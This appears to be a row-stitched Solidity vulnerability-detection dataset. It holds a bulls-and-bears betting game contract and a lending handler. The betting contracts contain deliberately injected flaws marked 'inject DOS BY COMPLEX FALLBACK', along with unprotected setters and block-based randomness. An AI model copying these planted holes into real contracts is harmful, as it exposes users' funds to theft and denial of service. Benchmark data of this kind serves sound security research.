// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Ownable {
address payable public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract GameWave is ERC20, ERC20Detailed, Ownable {
uint paymentsTime = block.timestamp;
uint totalPaymentAmount;
uint lastTotalPaymentAmount;
uint minted = 20000000;
mapping (address => uint256) lastWithdrawTime;
constructor() public ERC20Detailed("Game wave token", "GWT", 18) {
_mint(msg.sender, minted * (10 ** uint256(decimals())));
}
function () payable external {
if (msg.value == 0){
withdrawDividends(msg.sender);
}
}
function getDividends(address _holder) view public returns(uint) {
if (paymentsTime >= lastWithdrawTime[_holder]){
return totalPaymentAmount.mul(balanceOf(_holder)).div(minted * (10 ** uint256(decimals())));
} else {
return 0;
}
}
function withdrawDividends(address payable _holder) public returns(uint) {
uint dividends = getDividends(_holder);
lastWithdrawTime[_holder] = block.timestamp;
lastTotalPaymentAmount = lastTotalPaymentAmount.add(dividends);
_holder.transfer(dividends);
}
function startPayments() public {
require(block.timestamp >= paymentsTime + 30 days);
owner.transfer(totalPaymentAmount.sub(lastTotalPaymentAmount));
totalPaymentAmount = address(this).balance;
paymentsTime = block.timestamp;
lastTotalPaymentAmount = 0;
}
}
contract Bank is Ownable {
using SafeMath for uint256;
mapping (uint256 => mapping (address => uint256)) public depositBears;
mapping (uint256 => mapping (address => uint256)) public depositBulls;
uint256 public currentDeadline;
uint256 public currentRound = 1;
uint256 public lastDeadline;
uint256 public defaultCurrentDeadlineInHours = 24;
uint256 public defaultLastDeadlineInHours = 48;
uint256 public countOfBears;
uint256 public countOfBulls;
uint256 public totalSupplyOfBulls;
uint256 public totalSupplyOfBears;
uint256 public totalGWSupplyOfBulls;
uint256 public totalGWSupplyOfBears;
uint256 public probabilityOfBulls;
uint256 public probabilityOfBears;
address public lastHero;
address public lastHeroHistory;
uint256 public jackPot;
uint256 public winner;
uint256 public withdrawn;
uint256 public withdrawnGW;
uint256 public remainder;
uint256 public remainderGW;
uint256 public rate = 1;
uint256 public rateModifier = 0;
uint256 public tokenReturn;
address crowdSale;
uint256 public lastTotalSupplyOfBulls;
uint256 public lastTotalSupplyOfBears;
uint256 public lastTotalGWSupplyOfBulls;
uint256 public lastTotalGWSupplyOfBears;
uint256 public lastProbabilityOfBulls;
uint256 public lastProbabilityOfBears;
address public lastRoundHero;
uint256 public lastJackPot;
uint256 public lastWinner;
uint256 public lastBalance;
uint256 public lastBalanceGW;
uint256 public lastCountOfBears;
uint256 public lastCountOfBulls;
uint256 public lastWithdrawn;
uint256 public lastWithdrawnGW;
bool public finished = false;
Bears public BearsContract;
Bulls public BullsContract;
GameWave public GameWaveContract;
constructor(address _crowdSale) public {
_setRoundTime(6, 8);
crowdSale = _crowdSale;
}
function setRateToken(uint256 _rate, uint256 _rateModifier) public onlyOwner returns(uint256){
rate = _rate;
rateModifier = _rateModifier;
}
function setCrowdSale(address _crowdSale) public onlyOwner{
crowdSale = _crowdSale;
}
function _setRoundTime(uint _currentDeadlineInHours, uint _lastDeadlineInHours) internal {
defaultCurrentDeadlineInHours = _currentDeadlineInHours;
defaultLastDeadlineInHours = _lastDeadlineInHours;
currentDeadline = block.timestamp + 60 * 60 * _currentDeadlineInHours;
lastDeadline = block.timestamp + 60 * 60 * _lastDeadlineInHours;
}
function setRoundTime(uint _currentDeadlineInHours, uint _lastDeadlineInHours) public onlyOwner {
_setRoundTime(_currentDeadlineInHours, _lastDeadlineInHours);
}
function setGameWaveAddress(address payable _GameWaveAddress) public {
require(address(GameWaveContract) == address(0x0));
GameWaveContract = GameWave(_GameWaveAddress);
}
function setBearsAddress(address payable _bearsAddress) external {
require(address(BearsContract) == address(0x0));
BearsContract = Bears(_bearsAddress);
}
function setBullsAddress(address payable _bullsAddress) external {
require(address(BullsContract) == address(0x0));
BullsContract = Bulls(_bullsAddress);
}
function getNow() view public returns(uint){
return block.timestamp;
}
function getState() view public returns(bool) {
if (block.timestamp > currentDeadline) {
return false;
}
return true;
}
function setInfo(address _lastHero, uint256 _deposit) public {
require(address(BearsContract) == msg.sender || address(BullsContract) == msg.sender);
if (address(BearsContract) == msg.sender) {
require(depositBulls[currentRound][_lastHero] == 0, "You are already in bulls team");
if (depositBears[currentRound][_lastHero] == 0)
countOfBears++;
totalSupplyOfBears = totalSupplyOfBears.add(_deposit.mul(90).div(100));
depositBears[currentRound][_lastHero] = depositBears[currentRound][_lastHero].add(_deposit.mul(90).div(100));
}
if (address(BullsContract) == msg.sender) {
require(depositBears[currentRound][_lastHero] == 0, "You are already in bears team");
if (depositBulls[currentRound][_lastHero] == 0)
countOfBulls++;
totalSupplyOfBulls = totalSupplyOfBulls.add(_deposit.mul(90).div(100));
depositBulls[currentRound][_lastHero] = depositBulls[currentRound][_lastHero].add(_deposit.mul(90).div(100));
}
lastHero = _lastHero;
if (currentDeadline.add(120) <= lastDeadline) {
currentDeadline = currentDeadline.add(120);
} else {
currentDeadline = lastDeadline;
}
jackPot += _deposit.mul(10).div(100);
calculateProbability();
}
function estimateTokenPercent(uint256 _difference) public view returns(uint256){
if (rateModifier == 0) {
return _difference.mul(rate);
} else {
return _difference.div(rate);
}
}
function calculateProbability() public {
require(winner == 0 && getState());
totalGWSupplyOfBulls = GameWaveContract.balanceOf(address(BullsContract));
totalGWSupplyOfBears = GameWaveContract.balanceOf(address(BearsContract));
uint256 percent = (totalSupplyOfBulls.add(totalSupplyOfBears)).div(100);
if (totalGWSupplyOfBulls < 1 ether) {
totalGWSupplyOfBulls = 0;
}
if (totalGWSupplyOfBears < 1 ether) {
totalGWSupplyOfBears = 0;
}
if (totalGWSupplyOfBulls <= totalGWSupplyOfBears) {
uint256 difference = totalGWSupplyOfBears.sub(totalGWSupplyOfBulls).div(0.01 ether);
probabilityOfBears = totalSupplyOfBears.mul(100).div(percent).add(estimateTokenPercent(difference));
if (probabilityOfBears > 8000) {
probabilityOfBears = 8000;
}
if (probabilityOfBears < 2000) {
probabilityOfBears = 2000;
}
probabilityOfBulls = 10000 - probabilityOfBears;
} else {
uint256 difference = totalGWSupplyOfBulls.sub(totalGWSupplyOfBears).div(0.01 ether);
probabilityOfBulls = totalSupplyOfBulls.mul(100).div(percent).add(estimateTokenPercent(difference));
if (probabilityOfBulls > 8000) {
probabilityOfBulls = 8000;
}
if (probabilityOfBulls < 2000) {
probabilityOfBulls = 2000;
}
probabilityOfBears = 10000 - probabilityOfBulls;
}
totalGWSupplyOfBulls = GameWaveContract.balanceOf(address(BullsContract));
totalGWSupplyOfBears = GameWaveContract.balanceOf(address(BearsContract));
}
function getWinners() public {
require(winner == 0 && !getState());
uint256 seed1 = address(this).balance;
uint256 seed2 = totalSupplyOfBulls;
uint256 seed3 = totalSupplyOfBears;
uint256 seed4 = totalGWSupplyOfBulls;
uint256 seed5 = totalGWSupplyOfBulls;
uint256 seed6 = block.difficulty;
uint256 seed7 = block.timestamp;
bytes32 randomHash = keccak256(abi.encodePacked(seed1, seed2, seed3, seed4, seed5, seed6, seed7));
uint randomNumber = uint(randomHash);
if (randomNumber == 0){
randomNumber = 1;
}
uint winningNumber = randomNumber % 10000;
if (1 <= winningNumber && winningNumber <= probabilityOfBears){
winner = 1;
}
if (probabilityOfBears < winningNumber && winningNumber <= 10000){
winner = 2;
}
if (GameWaveContract.balanceOf(address(BullsContract)) > 0)
GameWaveContract.transferFrom(address(BullsContract),
address(this),
GameWaveContract.balanceOf(address(BullsContract)));
if (GameWaveContract.balanceOf(address(BearsContract)) > 0)
GameWaveContract.transferFrom(address(BearsContract),
address(this),
GameWaveContract.balanceOf(address(BearsContract)));
lastTotalSupplyOfBulls = totalSupplyOfBulls;
lastTotalSupplyOfBears = totalSupplyOfBears;
lastTotalGWSupplyOfBears = totalGWSupplyOfBears;
lastTotalGWSupplyOfBulls = totalGWSupplyOfBulls;
lastRoundHero = lastHero;
lastJackPot = jackPot;
lastWinner = winner;
lastCountOfBears = countOfBears;
lastCountOfBulls = countOfBulls;
lastWithdrawn = withdrawn;
lastWithdrawnGW = withdrawnGW;
if (lastBalance > lastWithdrawn){
remainder = lastBalance.sub(lastWithdrawn);
address(GameWaveContract).transfer(remainder);
}
lastBalance = lastTotalSupplyOfBears.add(lastTotalSupplyOfBulls).add(lastJackPot);
if (lastBalanceGW > lastWithdrawnGW){
remainderGW = lastBalanceGW.sub(lastWithdrawnGW);
tokenReturn = (totalGWSupplyOfBears.add(totalGWSupplyOfBulls)).mul(20).div(100).add(remainderGW);
GameWaveContract.transfer(crowdSale, tokenReturn);
}
lastBalanceGW = GameWaveContract.balanceOf(address(this));
totalSupplyOfBulls = 0;
totalSupplyOfBears = 0;
totalGWSupplyOfBulls = 0;
totalGWSupplyOfBears = 0;
remainder = 0;
remainderGW = 0;
jackPot = 0;
withdrawn = 0;
winner = 0;
withdrawnGW = 0;
countOfBears = 0;
countOfBulls = 0;
probabilityOfBulls = 0;
probabilityOfBears = 0;
_setRoundTime(defaultCurrentDeadlineInHours, defaultLastDeadlineInHours);
currentRound++;
}
function () external payable { //inject DOS BY COMPLEX FALLBACK
if (msg.value == 0){
require(depositBears[currentRound - 1][msg.sender] > 0 || depositBulls[currentRound - 1][msg.sender] > 0);
uint payout = 0;
uint payoutGW = 0;
if (lastWinner == 1 && depositBears[currentRound - 1][msg.sender] > 0) {
payout = calculateLastETHPrize(msg.sender);
}
if (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] > 0) {
payout = calculateLastETHPrize(msg.sender);
}
if (payout > 0) {
depositBears[currentRound - 1][msg.sender] = 0;
depositBulls[currentRound - 1][msg.sender] = 0;
withdrawn = withdrawn.add(payout);
msg.sender.call.gas(2301).value(payout)("");
}
if ((lastWinner == 1 && depositBears[currentRound - 1][msg.sender] == 0) || (lastWinner == 2 && depositBulls[currentRound - 1][msg.sender] == 0)) {
payoutGW = calculateLastGWPrize(msg.sender);
withdrawnGW = withdrawnGW.add(payoutGW);
GameWaveContract.transfer(msg.sender, payoutGW);
}
if (msg.sender == lastRoundHero) {
lastHeroHistory = lastRoundHero;
lastRoundHero = address(0x0);
withdrawn = withdrawn.add(lastJackPot);
msg.sender.call.gas(2301).value(lastJackPot)("");
}
}
}
function calculateETHPrize(address participant) public view returns(uint) {
uint payout = 0;
uint256 totalSupply = (totalSupplyOfBears.add(totalSupplyOfBulls));
if (depositBears[currentRound][participant] > 0) {
payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);
}
if (depositBulls[currentRound][participant] > 0) {
payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);
}
return payout;
}
function calculateGWPrize(address participant) public view returns(uint) {
uint payout = 0;
uint totalSupply = (totalGWSupplyOfBears.add(totalGWSupplyOfBulls)).mul(80).div(100);
if (depositBears[currentRound][participant] > 0) {
payout = totalSupply.mul(depositBears[currentRound][participant]).div(totalSupplyOfBears);
}
if (depositBulls[currentRound][participant] > 0) {
payout = totalSupply.mul(depositBulls[currentRound][participant]).div(totalSupplyOfBulls);
}
return payout;
}
function calculateLastETHPrize(address _lastParticipant) public view returns(uint) {
uint payout = 0;
uint256 totalSupply = (lastTotalSupplyOfBears.add(lastTotalSupplyOfBulls));
if (depositBears[currentRound - 1][_lastParticipant] > 0) {
payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);
}
if (depositBulls[currentRound - 1][_lastParticipant] > 0) {
payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);
}
return payout;
}
function calculateLastGWPrize(address _lastParticipant) public view returns(uint) {
uint payout = 0;
uint totalSupply = (lastTotalGWSupplyOfBears.add(lastTotalGWSupplyOfBulls)).mul(80).div(100);
if (depositBears[currentRound - 1][_lastParticipant] > 0) {
payout = totalSupply.mul(depositBears[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBears);
}
if (depositBulls[currentRound - 1][_lastParticipant] > 0) {
payout = totalSupply.mul(depositBulls[currentRound - 1][_lastParticipant]).div(lastTotalSupplyOfBulls);
}
return payout;
}
}
contract CryptoTeam {
using SafeMath for uint256;
//Developers fund
address payable public owner;
Bank public BankContract;
GameWave public GameWaveContract;
constructor() public {
owner = msg.sender;
}
function () external payable { //inject DOS BY COMPLEX FALLBACK
require(BankContract.getState() && msg.value >= 0.05 ether);
BankContract.setInfo(msg.sender, msg.value.mul(90).div(100));
owner.call.gas(2301).value(msg.value.mul(10).div(100))("");
address(BankContract).call.gas(2301).value(msg.value.mul(90).div(100))("");
}
}
contract Bears is CryptoTeam {
constructor(address payable _bankAddress, address payable _GameWaveAddress) public {
BankContract = Bank(_bankAddress);
BankContract.setBearsAddress(address(this));
GameWaveContract = GameWave(_GameWaveAddress);
GameWaveContract.approve(_bankAddress, 9999999999999999999000000000000000000);
}
}
contract Bulls is CryptoTeam {
constructor(address payable _bankAddress, address payable _GameWaveAddress) public {
BankContract = Bank(_bankAddress);
BankContract.setBullsAddress(address(this));
GameWaveContract = GameWave(_GameWaveAddress);
GameWaveContract.approve(_bankAddress, 9999999999999999999000000000000000000);
}
}
contract Sale {
GameWave public GWContract;
uint256 public buyPrice;
address public owner;
uint balance;
bool crowdSaleClosed = false;
constructor(address payable _GWContract) payable public {
owner = msg.sender;
GWContract = GameWave(_GWContract);
GWContract.approve(owner, 9999999999999999999000000000000000000);
}
function setPrice(uint256 newBuyPrice) public {
buyPrice = newBuyPrice;
}
function () payable external { //inject DOS BY COMPLEX FALLBACK
uint amount = msg.value;
balance = (amount / buyPrice) * 10 ** 18;
GWContract.transfer(msg.sender, balance);
address(GWContract).call.gas(2301).value(amount)("");
}
}
| 278,036 | 698 |
239b131a9ab65865be1a3e489d69a2c2917afa1a76f7fcf9ca93d293120ad1c7
| 11,591 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/lendFMeHandler.sol
| 3,345 | 11,395 |
pragma solidity 0.5.4;
contract DSAuthority {
function canCall(address src, address dst, bytes4 sig) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority (address indexed authority);
event LogSetOwner (address indexed owner);
event OwnerUpdate (address indexed owner, address indexed newOwner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
address public newOwner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
// Warning: you should absolutely sure you want to give up authority!!!
function disableOwnership() public onlyOwner {
owner = address(0);
emit OwnerUpdate(msg.sender, owner);
}
function transferOwnership(address newOwner_) public onlyOwner {
require(newOwner_ != owner, "TransferOwnership: the same owner.");
newOwner = newOwner_;
}
function acceptOwnership() public {
require(msg.sender == newOwner, "AcceptOwnership: only new owner do this.");
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
///[snow] guard is Authority who inherit DSAuth.
function setAuthority(DSAuthority authority_)
public
onlyOwner
{
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier onlyOwner {
require(isOwner(msg.sender), "ds-auth-non-owner");
_;
}
function isOwner(address src) internal view returns (bool) {
return bool(src == owner);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
contract DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint x, uint y) internal pure returns (uint z) {
require(y > 0, "ds-math-div-overflow");
z = x / y;
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
// function imin(int x, int y) internal pure returns (int z) {
// return x <= y ? x : y;
// }
// function imax(int x, int y) internal pure returns (int z) {
// return x >= y ? x : y;
// }
uint constant WAD = 10 ** 18;
// uint constant RAY = 10 ** 27;
// function wmul(uint x, uint y) internal pure returns (uint z) {
// z = add(mul(x, y), WAD / 2) / WAD;
// }
// function rmul(uint x, uint y) internal pure returns (uint z) {
// z = add(mul(x, y), RAY / 2) / RAY;
// }
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
// function rdiv(uint x, uint y) internal pure returns (uint z) {
// z = add(mul(x, RAY), y / 2) / y;
// }
// This famous algorithm is called "exponentiation by squaring"
// and calculates x^n with x as fixed-point and n as regular unsigned.
//
// It's O(log n), instead of O(n) for naive repeated multiplication.
//
// These facts are why it works:
//
// If n is even, then x^n = (x^2)^(n/2).
// If n is odd, then x^n = x * x^(n-1),
// and applying the equation for even x gives
// x^n = x * (x^2)^((n-1) / 2).
//
// Also, EVM division is flooring and
// floor[(n-1) / 2] = floor[n / 2].
//
// function rpow(uint _x, uint n) internal pure returns (uint z) {
// uint x = _x;
// z = n % 2 != 0 ? x : RAY;
// for (n /= 2; n != 0; n /= 2) {
// x = rmul(x, x);
// if (n % 2 != 0) {
// z = rmul(z, x);
// }
// }
// }
function pow(uint256 base, uint256 exponent) public pure returns (uint256) {
if (exponent == 0) {
return 1;
}
else if (exponent == 1) {
return base;
}
else if (base == 0 && exponent != 0) {
return 0;
}
else {
uint256 z = base;
for (uint256 i = 1; i < exponent; i++)
z = mul(z, base);
return z;
}
}
}
interface ITargetHandler {
function setDispatcher (address _dispatcher) external;
function deposit(uint256 _amountss) external returns (uint256); // token deposit
function withdraw(uint256 _amounts) external returns (uint256);
function withdrawProfit() external returns (uint256);
function drainFunds() external returns (uint256);
function getBalance() external view returns (uint256);
function getPrinciple() external view returns (uint256);
function getProfit() external view returns (uint256);
function getTargetAddress() external view returns (address);
function getToken() external view returns (address);
function getDispatcher() external view returns (address);
}
interface IDispatcher {
// external function
function trigger() external returns (bool);
function withdrawProfit() external returns (bool);
function drainFunds(uint256 _index) external returns (bool);
function refundDispather(address _receiver) external returns (bool);
// get function
function getReserve() external view returns (uint256);
function getReserveRatio() external view returns (uint256);
function getPrinciple() external view returns (uint256);
function getBalance() external view returns (uint256);
function getProfit() external view returns (uint256);
function getTHPrinciple(uint256 _index) external view returns (uint256);
function getTHBalance(uint256 _index) external view returns (uint256);
function getTHProfit(uint256 _index) external view returns (uint256);
function getToken() external view returns (address);
function getFund() external view returns (address);
function getTHStructures() external view returns (uint256[] memory, address[] memory, address[] memory);
function getTHData(uint256 _index) external view returns (uint256, uint256, uint256, uint256);
function getTHCount() external view returns (uint256);
function getTHAddress(uint256 _index) external view returns (address);
function getTargetAddress(uint256 _index) external view returns (address);
function getPropotion() external view returns (uint256[] memory);
function getProfitBeneficiary() external view returns (address);
function getReserveUpperLimit() external view returns (uint256);
function getReserveLowerLimit() external view returns (uint256);
function getExecuteUnit() external view returns (uint256);
// Governmence Functions
function setAimedPropotion(uint256[] calldata _thPropotion) external returns (bool);
function addTargetHandler(address _targetHandlerAddr, uint256[] calldata _thPropotion) external returns (bool);
function removeTargetHandler(address _targetHandlerAddr, uint256 _index, uint256[] calldata _thPropotion) external returns (bool);
function setProfitBeneficiary(address _profitBeneficiary) external returns (bool);
function setReserveLowerLimit(uint256 _number) external returns (bool);
function setReserveUpperLimit(uint256 _number) external returns (bool);
function setExecuteUnit(uint256 _number) external returns (bool);
}
interface IERC20 {
function balanceOf(address _owner) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function totalSupply() external view returns (uint);
}
interface ILendFMe {
function supply(address _token, uint _amounts) external returns (uint);
function withdraw(address _token, uint _amounts) external returns (uint);
function getSupplyBalance(address _user, address _token) external view returns (uint256);
}
contract lendFMeHandler is ITargetHandler, DSAuth, DSMath {
event WithdrawFailed(uint256 _amounts);
address targetAddr;
address token;
address dispatcher;
uint256 principle;
constructor (address _targetAddr, address _token) public {
targetAddr = _targetAddr;
token = _token;
IERC20(token).approve(_targetAddr, uint256(-1));
}
function setDispatcher(address _dispatcher) external auth {
dispatcher = _dispatcher;
}
// token deposit
function deposit(uint256 _amounts) external auth returns (uint256) {
if (IERC20(token).balanceOf(address(this)) >= _amounts) {
if(ILendFMe(targetAddr).supply(address(token), _amounts) == 0) {
principle = add(principle, _amounts);
return 0;
}
}
return 1;
}
function withdraw(uint256 _amounts) external auth returns (uint256){
if(_amounts != 0 && ILendFMe(targetAddr).withdraw(address(token), _amounts) != 0) {
return 1;
}
IERC20(token).transfer(IDispatcher(dispatcher).getFund(), _amounts);
principle = sub(principle, _amounts);
return 0;
}
function withdrawProfit() external auth returns (uint256){
uint256 _amount = getProfit();
if (_amount > 0 && ILendFMe(targetAddr).withdraw(address(token), _amount) == 0) {
IERC20(token).transfer(IDispatcher(dispatcher).getProfitBeneficiary(), _amount);
return 0;
}
return 1;
}
function drainFunds() external auth returns (uint256) {
uint256 amount = getBalance();
if(amount > 0) {
ILendFMe(targetAddr).withdraw(address(token), uint256(-1));
if(principle > 0){
IERC20(token).transfer(IDispatcher(dispatcher).getFund(), principle);
principle = 0;
}
}
uint256 profit = IERC20(token).balanceOf(address(this));
if(profit > 0) {
IERC20(token).transfer(IDispatcher(dispatcher).getProfitBeneficiary(), profit);
}
return 0;
}
function getBalance() public view returns (uint256) {
return ILendFMe(targetAddr).getSupplyBalance(address(this), address(token));
}
function getPrinciple() public view returns (uint256) {
return principle;
}
function getProfit() public view returns (uint256) {
uint256 _balance = getBalance();
uint256 _principle = getPrinciple();
uint256 _unit = IDispatcher(dispatcher).getExecuteUnit();
if (_balance < _principle) {
return 0;
} else {
uint256 _amounts = sub(_balance, _principle);
_amounts = _amounts / _unit * _unit;
return _amounts;
}
}
function getTargetAddress() public view returns (address) {
return targetAddr;
}
function getToken() external view returns (address) {
return token;
}
function getDispatcher() public view returns (address) {
return dispatcher;
}
}
| 176,255 | 699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.